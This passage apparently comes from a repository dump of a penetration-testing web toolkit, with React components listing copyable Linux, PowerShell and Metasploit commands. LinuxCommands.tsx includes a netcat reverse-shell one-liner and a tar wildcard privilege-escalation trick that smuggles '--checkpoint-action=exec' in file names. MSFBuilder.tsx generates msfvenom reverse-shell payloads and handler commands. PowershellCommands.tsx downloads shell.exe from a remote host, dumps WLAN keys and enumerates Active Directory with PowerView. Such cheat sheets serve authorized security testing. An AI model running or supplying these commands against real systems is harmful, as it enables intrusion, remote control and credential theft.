content.headers, undefined, 2 )}\n                                rows={4}\n                            />\n                        </Col>\n                        <Col span={12}>\n                            <TextArea\n                                autoSize={{ minRows: 5 }}\n                                value={JSON.stringify( content.headers, undefined, 2 )}\n                                rows={4}\n                            />\n                        </Col>\n                    </Row>\n                    <Tabs defaultActiveKey='1'>\n                        <TabPane tab='HTML Response' key='1'>\n                            <Row justify='end' style={{ marginTop: 5 }}>\n                                <Col>\n                                    <Button type='link' onClick={showModal}>\n                                        Render the HTML\n                                    </Button>\n                                </Col>\n                            </Row>\n                            <Modal\n                                title='HTML Response'\n                                onCancel={handleClose}\n                                visible={isModalVisible}\n                                onOk={handleClose}\n                                width={650}\n                            >\n                                <div dangerouslySetInnerHTML={{ __html: content.data || '' }} />\n                            </Modal>\n                            <SyntaxHighlighter language='htmlbars' style={vs2015} showLineNumbers={true}>\n                                {/* {pretty( content.data ) || <pre>No response</pre>} */}\n                            </SyntaxHighlighter>\n                        </TabPane>\n                        {!commentResponse && (\n                            <TabPane tab='Comment Only' key='2'>\n                                {commentResponse.map(\n                                    (\n                                        matches:\n                                            | string\n                                            | number\n                                            | boolean\n                                            | {}\n                                            | React.ReactElement<any, string | React.JSXElementConstructor<any>>\n                                            | React.ReactPortal\n                                            | null\n                                            | undefined\n                                    ) => {\n                                        return (\n                                            <SyntaxHighlighter language='htmlbars' style={vs2015}>\n                                                {/* aa{matches}; */}\n                                            </SyntaxHighlighter>\n                                        );\n                                    }\n                                )}\n                            </TabPane>\n                        )}\n                        {!inputResponse && (\n                            <TabPane tab='Form / Input Only' key='3'>\n                                {inputResponse.map( ( matches: string ) => {\n                                    return (\n                                        <SyntaxHighlighter language='htmlbars' style={vs2015} showLineNumbers={true}>\n                                            {pretty( matches )};\n                                        </SyntaxHighlighter>\n                                    );\n                                } )}\n                            </TabPane>\n                        )}\n                    </Tabs>\n                </div>\n            ) : (\n                <div style={{ padding: 15 }}>\n                    <Alert\n                        message='Informational Notes'\n                        description='We recommend our users to use this feature in Fullscreen mode or Pop-up mode.'\n                        type='info'\n                        showIcon\n                    />\n                    <Button\n                        icon={<FullscreenOutlined style={{ marginRight: 5 }} />}\n                        style={{ marginTop: 15 }}\n                        type='link'\n                        danger\n                    >\n                        <a href={target} style={{ color: '#a61d24' }} rel='noreferrer noopener' target='_blank'>\n                            Fullscreen mode\n                        </a>\n                    </Button>\n                    <Button\n                        icon={<ArrowsAltOutlined style={{ marginTop: 5 }} />}\n                        onClick={() => windowMode()}\n                        type='link'\n                    >\n                        Pop-up mode\n                    </Button>\n                </div>\n            )}\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/linux/LinuxCommands.tsx",
    "content": "import React from 'react';\nimport { Typography, Divider, Button, Collapse } from 'antd';\nimport { ArrowsAltOutlined } from '@ant-design/icons';\n\nconst { Title, Paragraph, Text } = Typography;\nconst { Panel } = Collapse;\n\nexport default function LinuxCommands () {\n    const Suid = [\n        { title: 'find / -user root -perm /4000 2>/dev/null' },\n        { title: 'find / -perm -u=s -type f 2>/dev/null' },\n        { title: \"find / -type f -name '*.txt' 2>/dev/null\" },\n        { title: 'find / -user root -perm -4000 -exec ls -ldb {} \\; > /tmp/suid' },\n        { title: 'getcap -r / 2>/dev/null' }\n    ];\n    const VersionSystem = [\n        { title: 'cat /etc/issue' },\n        { title: 'cat /etc/*-release' },\n        { title: 'cat /etc/lsb-release' },\n        { title: 'cat /etc/redhat-release' }\n    ];\n    const KernelVersion = [\n        { title: 'cat /proc/version' },\n        { title: 'uname -a' },\n        { title: 'uname -mrs' },\n        { title: 'rpm -q kernel' },\n        { title: 'dmesg | grep Linux' },\n        { title: 'ls /boot | grep vmlinuz' }\n    ];\n    const EnvironmentVariables = [\n        { title: 'cat /etc/profile' },\n        { title: 'cat /etc/bashrc' },\n        { title: 'cat ~/.bash_profile' },\n        { title: 'cat ~/.bashrc' },\n        { title: 'cat ~/.bash_logout' },\n        { title: 'env' },\n        { title: 'set' }\n    ];\n    const ServiceSettings = [\n        { title: 'cat /etc/syslog.conf' },\n        { title: 'cat /etc/chttp.conf' },\n        { title: 'cat /etc/lighttpd.conf' },\n        { title: 'cat /etc/cups/cupsd.conf' },\n        { title: 'cat /etc/inetd.conf' },\n        { title: 'cat /etc/apache2/apache2.conf' },\n        { title: 'cat /etc/my.conf' },\n        { title: 'cat /etc/httpd/conf/httpd.conf' },\n        { title: 'cat /opt/lampp/etc/httpd.conf' },\n        { title: \"ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'\" }\n    ];\n    const CronJobs = [\n        { title: 'crontab -l' },\n        { title: 'ls -alh /var/spool/cron' },\n        { title: 'ls -al /etc/ | grep cron' },\n        { title: 'ls -al /etc/cron*' },\n        { title: 'cat /etc/cron*' },\n        { title: 'cat /etc/at.allow' },\n        { title: 'cat /etc/at.deny' },\n        { title: 'cat /etc/cron.allow' },\n        { title: 'cat /etc/cron.deny' },\n        { title: 'cat /etc/crontab' },\n        { title: 'cat /etc/anacrontab' },\n        { title: 'cat /var/spool/cron/crontabs/root' }\n    ];\n    const UsersHost = [\n        { title: 'lsof -i' },\n        { title: 'lsof -i :80' },\n        { title: 'grep 80 /etc/services' },\n        { title: 'netstat -antup' },\n        { title: 'netstat -antpx' },\n        { title: 'netstat -tulpn' },\n        { title: 'chkconfig --list' },\n        { title: 'chkconfig --list | grep 3:on' },\n        { title: 'last' },\n        { title: 'lastlog' }\n    ];\n    const PortForwarding = [\n        {\n            title: 'FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]'\n        },\n        { title: 'FPipe.exe -l 80 -r 80 -s 80 192.168.1.7' },\n        {\n            title: 'ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]'\n        },\n        { title: 'ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port' },\n        { title: 'ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port' },\n        {\n            title: 'mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe'\n        },\n        {\n            title: 'mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay'\n        },\n        {\n            title:\n                'mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)'\n        },\n        { title: 'backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc' },\n        {\n            title: 'localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)'\n        }\n    ];\n    const wildcardPrivesc = [\n        {\n            title: `echo \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip> 1234 >/tmp/f\" > shell.sh`\n        },\n        {\n            title: `touch \"/var/www/html/--checkpoint-action=exec=sh shell.sh\"`\n        },\n        {\n            title: `touch \"/var/www/html/--checkpoint=1\"`\n        }\n    ];\n    return (\n        <div style={{ margin: 15 }}>\n            <Title level={2} style={{ fontWeight: 'bold' }}>\n                Useful Linux command for your Penetration Testing\n            </Title>\n            <Paragraph>List of useful commands on Linux</Paragraph>\n            <Divider orientation='center' style={{ padding: 5 }}>Script to check every misconfigurations</Divider>\n            <Collapse defaultActiveKey={[ '0' ]}>\n                <Panel header='View the souce code' key='1'>\n                    <img\n                        alt='misconfigcode'\n                        src='https://i.imgur.com/07ft3W4.png'\n                        style={{ height: '100%', width: '100%' }}\n                    />\n                    <br />\n                    <Button href=\"https://gist.githubusercontent.com/LasCC/6f3838dc02f46b14e9dbc9bc0972407e/raw/8c29317645df2e1d39777e95df8cf7760458d4d0/misconfiguration.sh\" target='blank' type='primary' style={{ marginBottom: 10, marginTop: 15 }}>\n                        <ArrowsAltOutlined style={{ marginRight: 5 }} />\n                        Download the script\n                    </Button>\n                </Panel>\n            </Collapse>\n            <Divider orientation='center' style={{ padding: 5 }}>SUID Commands</Divider>\n            <div>\n                {Suid.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center' style={{ padding: 5 }}>What version of the system ?</Divider>\n            <div>\n                {VersionSystem.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center' style={{ padding: 5 }}>What is its kernel version ?</Divider>\n            <div>\n                {KernelVersion.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center' style={{ padding: 5 }}>What is the environment variables ?</Divider>\n            <div>\n                {EnvironmentVariables.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center' style={{ padding: 5 }}>Service settings, there is any wrong allocation?</Divider>\n            <div>\n                {ServiceSettings.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center' style={{ padding: 5 }}>Is there any cron jobs ?</Divider>\n            <div>\n                {CronJobs.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center' style={{ padding: 5 }}>Other users host communication with the system ?</Divider>\n            <div>\n                {UsersHost.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center' style={{ padding: 5 }}>How to port forward ?</Divider>\n            <div>\n                {PortForwarding.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center' style={{ padding: 5 }}>TAR wildcard cronjob privilege escalation</Divider>\n            <div>\n                {wildcardPrivesc.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/linux/MSFBuilder.tsx",
    "content": "import React from 'react';\nimport { Input, Typography, Row, Divider, Select, Form, Col, Collapse } from 'antd';\nimport PersistedState from 'use-persisted-state';\nimport { MSFBuilder } from 'components/types/MSFBuilder';\n\nconst { Title, Paragraph } = Typography;\n\nconst MSFBuilder = () => {\n    // LocalStorage stuff\n    const msfVenomBuilder = PersistedState<MSFBuilder>( 'msfVenomBuilder' );\n\n    // Antd stuff\n    const { Option } = Select;\n    const { Panel } = Collapse;\n    const { Text } = Typography;\n\n    let payloads = require( '../../assets/data/Payloads.json' );\n    let encoder = require( '../../assets/data/Encoder.json' );\n    let platform = require( '../../assets/data/Platform.json' );\n    let format = require( '../../assets/data/Format.json' );\n\n    const [ values, setValues ] = msfVenomBuilder( {\n        Payload: 'windows/meterpreter/bind_tcp',\n        LHOST: '10.10.13.37',\n        LPORT: '4444',\n        Encoder: 'generic/none',\n        EncoderIterations: '4',\n        Platform: 'windows',\n        Arch: 'x64',\n        NOP: '200',\n        BadCharacters: \"badchars\",\n        Format: 'exe',\n        Outfile: 'reverse_shell.exe'\n    } );\n\n    const { LHOST, LPORT, Platform, Arch, NOP, Encoder,\n        EncoderIterations, BadCharacters, Format, Outfile } = values;\n\n    const launchCommand = `msfconsole -qx \"use exploit/multi/handler; set PAYLOAD ${ values.Payload }; set LHOST ${ values.LHOST }; set LPORT ${ values.LPORT }; run\"`;\n\n    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {\n        setValues( { ...values, [ name ]: event.target.value } );\n    };\n\n    const handleChangeSelect = ( prop: string ) => ( data: any ) => {\n        setValues( { ...values, [ prop ]: data } );\n    };\n\n    const generateCommand = ( values ) => {\n        const options = [\n            LHOST && `LHOST=${ LHOST }`,\n            LPORT && `LPORT=${ LPORT }`,\n            Platform && `--platform ${ Platform }`,\n            Arch && `-a ${ Arch }`,\n            NOP && `-n ${ NOP }`,\n            Encoder && `-e ${ Encoder }`,\n            EncoderIterations && `-i ${ EncoderIterations }`,\n            BadCharacters && `-b \"${ BadCharacters }\"`,\n            Format && `-f ${ Format }`,\n            Outfile && `-o ${ Outfile }`\n        ].filter( Boolean );\n\n        if ( !values.Payload ) {\n            return '';\n        }\n\n        const command = `msfvenom -p ${ values.Payload } ${ options.join( ' ' ) }`;\n        return command;\n    }\n\n    return (\n        <div>\n            <div style={{ margin: 15 }}>\n                <Title level={2} style={{ fontWeight: 'bold' }}>\n                    MSF Venom Builder\n                </Title>\n                <Paragraph>\n                    Msfvenom is a command line instance of Metasploit that is used to generate and output all of the\n                    various types of shell code that are available in Metasploit.\n                </Paragraph>\n            </div>\n            <Divider dashed />\n            <div\n                key='a'\n                style={{\n                    marginTop: 15,\n                    marginLeft: 15\n                }}\n            >\n                <Form>\n                    <Form.Item name='payload' valuePropName={values.Payload} required label='Payload'>\n                        <Select\n                            showSearch\n                            options={payloads}\n                            value={values.Payload}\n                            allowClear\n                            onChange={handleChangeSelect( 'Payload' )}\n                            placeholder='python/meterpreter/reverse_http'\n                            filterOption={( inputValue, option ) =>\n                                option.value.toString().toUpperCase().indexOf( inputValue.toUpperCase() ) !== -1\n                            }\n                        >\n                            {payloads.map(\n                                (\n                                    data: {\n                                        value:\n                                        | boolean\n                                        | React.ReactFragment\n                                        | React.ReactPortal\n                                        | null\n                                        | undefined;\n                                    },\n                                    key: string | number\n                                ) => {\n                                    return <Option value={key}>{data.value}</Option>;\n                                }\n                            )}\n                        </Select>\n                    </Form.Item>\n                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>\n                        <Col span={12}>\n                            <Form.Item required name='ip_address' valuePropName={values.LHOST} label='LHOST'>\n                                <Input\n                                    value={values.LHOST}\n                                    onChange={handleChange( 'LHOST' )}\n                                    maxLength={15}\n                                    allowClear\n                                    placeholder='IP Address or domain (ex: 212.212.111.222)'\n                                />\n                            </Form.Item>\n                        </Col>\n                        <Col span={12}>\n                            <Form.Item required name='port' valuePropName={values.LPORT} label='LPORT'>\n                                <Input\n                                    value={values.LPORT}\n                                    onChange={handleChange( 'LPORT' )}\n                                    maxLength={5}\n                                    allowClear\n                                    placeholder='Port (ex: 1337)'\n                                />\n                            </Form.Item>\n                        </Col>\n                    </Row>\n                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>\n                        <Col span={12}>\n                            <Form.Item name='encoder' valuePropName={values.Encoder} label='Encoder'>\n                                <Select\n                                    showSearch\n                                    options={encoder}\n                                    value={values.Encoder}\n                                    onChange={handleChangeSelect( 'Encoder' )}\n                                    placeholder='x86/shikata_ga_nai'\n                                    allowClear\n                                    filterOption={( inputValue, option: any ) =>\n                                        option.value.toUpperCase().indexOf( inputValue.toUpperCase() ) !== -1}\n                                >\n                                    {encoder.map(\n                                        (\n                                            data: {\n                                                value:\n                                                | boolean\n                                                | React.ReactFragment\n                                                | React.ReactPortal\n                                                | null\n                                                | undefined;\n                                            },\n                                            key: string | number\n                                        ) => {\n                                            return <Option value={key}>{data.value}</Option>;\n                                        }\n                                    )}\n                                </Select>\n                            </Form.Item>\n                        </Col>\n                        <Col span={12}>\n                            <Form.Item name='iteration' valuePropName={values.EncoderIterations} label='Iterations'>\n                                <Input\n                                    value={values.EncoderIterations}\n                                    onChange={handleChange( 'EncoderIterations' )}\n                                    placeholder='4'\n                                    allowClear\n                                />\n                            </Form.Item>\n                        </Col>\n                    </Row>\n                    <Form.Item name='badchar' valuePropName={values.BadCharacters} label='Bad Characters'>\n                        <Input\n                            value={values.BadCharacters}\n                            onChange={handleChange( 'BadCharacters' )}\n                            placeholder='\\x00\\x0a\\x0d'\n                            allowClear\n                        />\n                    </Form.Item>\n                </Form>\n                <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>\n                    <Col span={12}>\n                        <Form.Item valuePropName={values.Platform} name='platform' label='Platform'>\n                            <Select\n                                showSearch\n                                options={platform}\n                                value={values.Platform}\n                                onChange={handleChangeSelect( 'Platform' )}\n                                placeholder='Windows'\n                                allowClear\n                                filterOption={( inputValue, option: any ) =>\n                                    option.value.toUpperCase().indexOf( inputValue.toUpperCase() ) !== -1}\n                            >\n                                {platform.map(\n                                    (\n                                        data: {\n                                            value: boolean | React.ReactFragment | React.ReactPortal;\n                                        },\n                                        key: string | number\n                                    ) => {\n                                        return <Option value={key}>{data.value}</Option>;\n                                    }\n                                )}\n                            </Select>\n                        </Form.Item>\n                    </Col>\n                    <Col span={12}>\n                        <Form.Item valuePropName={values.Arch} name='architecture' label='Architecture'>\n                            <Select\n                                showSearch\n                                value={values.Arch}\n                                onChange={handleChangeSelect( 'Arch' )}\n                                placeholder='x86'\n                                allowClear\n                            >\n                                <Option value={'x64'}>x64</Option>\n                                <Option value={'x86'}>x86</Option>\n                            </Select>\n                        </Form.Item>\n                    </Col>\n                </Row>\n                <Form.Item name='nop' valuePropName={values.NOP} label='Nop&#39;s'>\n                    <Input\n                        value={values.NOP}\n                        allowClear\n                        onChange={handleChange( 'NOP' )}\n                        maxLength={5}\n                        placeholder='200'\n                    />\n                </Form.Item>\n                <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>\n                    <Col span={9}>\n                        <Form.Item valuePropName={values.Format} name='format' label='Format'>\n                            <Select\n                                showSearch\n                                options={format}\n                                value={values.Format}\n                                onChange={handleChangeSelect( 'Format' )}\n                                placeholder='powershell'\n                                allowClear\n                                filterOption={( inputValue, option: any ) =>\n                                    option.value.toUpperCase().indexOf( inputValue.toUpperCase() ) !== -1}\n                            >\n                                {format.map(\n                                    (\n                                        data: {\n                                            value:\n                                            | boolean\n                                            | React.ReactFragment\n                                            | React.ReactPortal\n                                            | null\n                                            | undefined;\n                                        },\n                                        key: string | number\n                                    ) => {\n                                        return <Option value={key}>{data.value}</Option>;\n                                    }\n                                )}\n                            </Select>\n                        </Form.Item>\n                    </Col>\n                    <Col span={15}>\n                        <Form.Item valuePropName={values.Outfile} name='outfile' label='Output File'>\n                            <Input\n                                value={values.Outfile}\n                                onChange={handleChange( 'Outfile' )}\n                                placeholder='reverse_shell'\n                                allowClear\n                            />\n                        </Form.Item>\n                    </Col>\n                </Row>\n                <Collapse defaultActiveKey={[ '1' ]} ghost>\n                    <Panel header='MSF Venom Command' key='1'>\n                        <Paragraph>\n                            <pre>\n                                <Text copyable>\n                                    {generateCommand( values )}\n                                </Text>\n                            </pre>\n                        </Paragraph>\n                    </Panel>\n                    <Panel header='Launch Console & Load Handler' key='2'>\n                        <Paragraph>\n                            <pre>\n                                <Text copyable>{launchCommand}</Text>\n                            </pre>\n                        </Paragraph>\n                    </Panel>\n                    <Panel header='Load Handler Only' key='3'>\n                        <Paragraph>\n                            <pre>\n                                <Text copyable>\n                                    {`use exploit/multi/handler\nset PAYLOAD ${ values.Payload }\nset LHOST ${ values.LHOST }\nset LPORT ${ values.LPORT }\nrun`}\n                                </Text>\n                            </pre>\n                        </Paragraph>\n                    </Panel>\n                </Collapse>\n            </div>\n        </div>\n    );\n};\n\nexport default MSFBuilder;\n"
  },
  {
    "path": "src/components/linux/PowershellCommands.tsx",
    "content": "import React from 'react';\nimport { Typography, Divider, Button, message } from 'antd';\nimport SyntaxHighlighter from 'react-syntax-highlighter';\nimport { vs2015 } from 'react-syntax-highlighter/dist/esm/styles/hljs';\nimport Clipboard from 'react-clipboard.js';\nimport { CopyOutlined } from '@ant-design/icons';\n\nconst { Title, Paragraph, Text } = Typography;\n\nexport default function PowershellCommands () {\n    const successInfoReverseShell = () => {\n        message.success( 'The script has been copied successfully !' );\n    };\n    const local_sys_enum = [\n        { title: 'systeminfo' },\n        { title: 'Get-WmiObject Win32_ComputerSystem' },\n        { title: 'echo \"$env:COMPUTERNAME.$env:USERDNSDOMAIN\"' }\n    ];\n    const lastpatchlist = 'Get-Hotfix -description \"Security update\"';\n    const lastpatchlist_wmic = 'wmic qfe get HotfixID,ServicePackInEffect,InstallDate,InstalledBy,InstalledOn';\n    const envVar = 'Get-ChildItem Env: | ft Key,Value';\n    const envVar_cmd = 'set';\n    const wlan_creddump = [\n        { title: 'netsh wlan show profiles' },\n        { title: 'netsh wlan show profile name=\"PROFILE-NAME\" key=clear' }\n    ];\n\n    // windows wget like\n    const powershell_http_dl = 'Invoke-WebRequest \"http://10.10.10.10/shell.exe\" -OutFile \"shell.exe\" ';\n    const cmd_cert_http_dl = 'certutil -urlcache -f http://10.10.10.10/shell.exe shell.exe';\n\n    // require powerview\n    const power_view_repo: string =\n        'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1';\n\n    // domain enum\n    const domain_name = `Get-NetDomain`;\n    const forest_domain_list = `Get-NetForestDomain`;\n    const domain_SID = `Get-DomainSID `;\n    const domain_Policy = `Get-DomainPolicy`;\n    const domain_OUs = `Get-NetOU`;\n    const domain_trust = `Get-NetDomainTrust`;\n    // gpo\n    const gpo_enum = `Get-NetGPO -ComputerName computername.domain.com`;\n    // passwd enum\n    const passwd_lastset = `Get-UserProperty -Properties pwdlastset`;\n    const user_desc_harvest = `Find-UserField -SearchField Description -SearchTerm “pass”`;\n\n    //computers domain\n    const domain_computers = `Get-NetComputer`;\n    const domain_pingable_computers = `Get-NetComputer -Ping`;\n    const domain_win7U_computers = `Get-NetComputer -OperatingSystem \"Windows 7 Ultimate\"`;\n\n    //domain admins\n    const domain_admin_members = `Get-NetGroupMember -GroupName \"Domain Admins\"`;\n    const domain_admins_groups = `Get-NetGroup *admin*`;\n    const local_admins = `Get-NetLocalGroup -ComputerName PCNAME-001`;\n    const user_group_membership = `Get-NetGroup -UserName \"username\"`;\n\n    //acl\n    const ACL_user_enum = `Get-ObjectAcl -SamAccountName \"users\" -ResolveGUIDs`;\n    const ACL_gpoedit_rights = `Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}`;\n    const ACL_passwd_edit_rights = `Get-ObjectAcl -SamAccountName labuser -ResolveGUIDs -RightsFilter \"ResetPassword\"`;\n\n    // dump user accounts \n    const local_recon_ldifde = `ldifde -d \"OU=THING,DC=CHANGE,DC=ME\" -p subtree -f dump.ldf`\n    const local_recon_csvde = `csvde -d \"OU=THING,DC=CHANGE,DC=ME\" -p subtree -f dump.csv`\n\n    // Enumerate Domain Users\n    const domain_user_enum = `$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\n$PDC = ($domainObj.PdcRoleOwner).Name\n$SearchString = \"LDAP://\"\n$SearchString += $PDC + \"/\"\n$DistinguishedName = \"DC=$($domainObj.Name.Replace('.', ',DC='))\"\n$SearchString += $DistinguishedName\n$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)\n$objDomain = New-Object System.DirectoryServices.DirectoryEntry\n$Searcher.SearchRoot = $objDomain\n$Searcher.filter=\"samAccountType=805306368\"\n\n# To search for specific user, uncomment below\n# $Searcher.filter=\"name=[user_name]\"\n\n$Searcher.FindAll()\nForeach($obj in $Result)\n{\n Foreach($prop in $obj.Properties)\n {\n $prop\n }\n Write-Host \"------------------------\"\n}`;\n    const enum_domain_groups = `$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\n$PDC = ($domainObj.PdcRoleOwner).Name\n$SearchString = \"LDAP://\"\n$SearchString += $PDC + \"/\"\n$DistinguishedName = \"DC=$($domainObj.Name.Replace('.', ',DC='))\"\n$SearchString += $DistinguishedName\n$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)\n$objDomain = New-Object System.DirectoryServices.DirectoryEntry\n$Searcher.SearchRoot = $objDomain\n$Searcher.filter=\"(objectClass=Group)\"\n$Result = $Searcher.FindAll()\nForeach($obj in $Result)\n{\n $obj.Properties.name\n}`;\n    const enum_members_domain_group = `$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\n$PDC = ($domainObj.PdcRoleOwner).Name\n$SearchString = \"LDAP://\"\n$SearchString += $PDC + \"/\"\n$DistinguishedName = \"DC=$($domainObj.Name.Replace('.', ',DC='))\"\n$SearchString += $DistinguishedName\n$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)\n$objDomain = New-Object System.DirectoryServices.DirectoryEntry\n$Searcher.SearchRoot = $objDomain\n\n# change \"Secret_Group\" to correct group name\n$Searcher.filter=\"(name=Secret_Group)\"\n$Result = $Searcher.FindAll()\nForeach($obj in $Result)\n{\n $obj.Properties.member\n}`\n    const detect_spn = `$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\n$PDC = ($domainObj.PdcRoleOwner).Name\n$SearchString = \"LDAP://\"\n$SearchString += $PDC + \"/\"\n$DistinguishedName = \"DC=$($domainObj.Name.Replace('.', ',DC='))\"\n$SearchString += $DistinguishedName\n$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)\n$objDomain = New-Object System.DirectoryServices.DirectoryEntry\n$Searcher.SearchRoot = $objDomain\n$Searcher.filter=\"serviceprincipalname=*http*\" # change name as needed\n$Result = $Searcher.FindAll()\nForeach($obj in $Result)\n{\n Foreach($prop in $obj.Properties)\n {\n $prop\n }\n}`;\n\n    return (\n        <div>\n            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                Powershell handy commands\n            </Title>\n            <Paragraph style={{ margin: 15 }}>List of useful Powershell commands</Paragraph>\n            <Divider orientation='center'></Divider>\n            <div\n                key='a'\n                style={{\n                    padding: 15\n                }}\n            >\n                <Title level={3}>System enumeration</Title>\n                {local_sys_enum.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n                <Text strong>List Security patches</Text>\n                <Paragraph>\n                    <pre><Text copyable>{lastpatchlist}</Text></pre>\n                </Paragraph>\n                <Paragraph>\n                    <pre><Text copyable>{lastpatchlist_wmic}</Text></pre>\n                </Paragraph>\n                <Text strong>Environment Variables</Text>\n                <Paragraph>\n                    <pre><Text copyable>{envVar}</Text></pre>\n                </Paragraph>\n                <Text strong> (over cmd.exe) </Text>\n                <Paragraph>\n                    <pre><Text copyable>{envVar_cmd}</Text></pre>\n                </Paragraph>\n                <Divider orientation='center'>HTTP download (wget like)</Divider>\n                <Paragraph>\n                    <pre><Text copyable>{powershell_http_dl}</Text></pre>\n                </Paragraph>\n                <Text strong>Cmd compatible</Text>\n                <Paragraph>\n                    <pre><Text copyable>{cmd_cert_http_dl}</Text></pre>\n                </Paragraph>\n                <Divider orientation='center'>WLAN enumeration</Divider>\n                {wlan_creddump.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n\n            <Divider orientation='center'>Active Directory enumeration</Divider>\n            <div\n                key='b'\n                style={{\n                    padding: 15\n                }}\n            >\n                <Paragraph mark>Require Powerview.ps1</Paragraph>\n                <Paragraph>\n                    <pre><Text copyable>{power_view_repo}</Text></pre>\n                </Paragraph>\n                <Text strong>Domain enumeration</Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_name}</Text></pre>\n                </Paragraph>\n\n                <Text strong>List Forest Domains </Text>\n                <Paragraph>\n                    <pre><Text copyable>{forest_domain_list}</Text></pre>\n                </Paragraph>\n\n                <Text strong>Domain SID </Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_SID}</Text></pre>\n                </Paragraph>\n\n                <Text strong>Domain Policy </Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_Policy}</Text></pre>\n                </Paragraph>\n\n                <Text strong>Domain Organizational Units </Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_OUs}</Text></pre>\n                </Paragraph>\n\n                <Text strong>List trusted Domains</Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_trust}</Text></pre>\n                </Paragraph>\n\n                <Divider orientation='center'>GPO enumeration</Divider>\n\n                <Text strong>GPO applied to the machine</Text>\n                <Paragraph>\n                    <pre><Text copyable>{gpo_enum}</Text></pre>\n                </Paragraph>\n\n                <Divider orientation='center'>Password enumeration</Divider>\n\n                <Text strong>Last Password Set date</Text>\n                <Paragraph>\n                    <pre><Text copyable>{passwd_lastset}</Text></pre>\n                </Paragraph>\n                <Text strong>Description of User object </Text>\n                <Paragraph>\n                    <pre><Text copyable>{user_desc_harvest}</Text></pre>\n                </Paragraph>\n                <Divider orientation='center'>Computer enumeration</Divider>\n\n                <Text strong>List Computers of the Domain</Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_computers}</Text></pre>\n                </Paragraph>\n                <Text strong>List Pingable Hosts </Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_pingable_computers}</Text></pre>\n                </Paragraph>\n                <Text strong>List Windows 7 Ultimate Computers </Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_win7U_computers}</Text></pre>\n                </Paragraph>\n\n                <Divider orientation='center'>Admin groups and account enumeration</Divider>\n\n                <Text strong>List Domain Admin members</Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_admin_members}</Text></pre>\n                </Paragraph>\n                <Text strong>List Admin Groups </Text>\n                <Paragraph>\n                    <pre><Text copyable>{domain_admins_groups}</Text></pre>\n                </Paragraph>\n                <Text strong>List 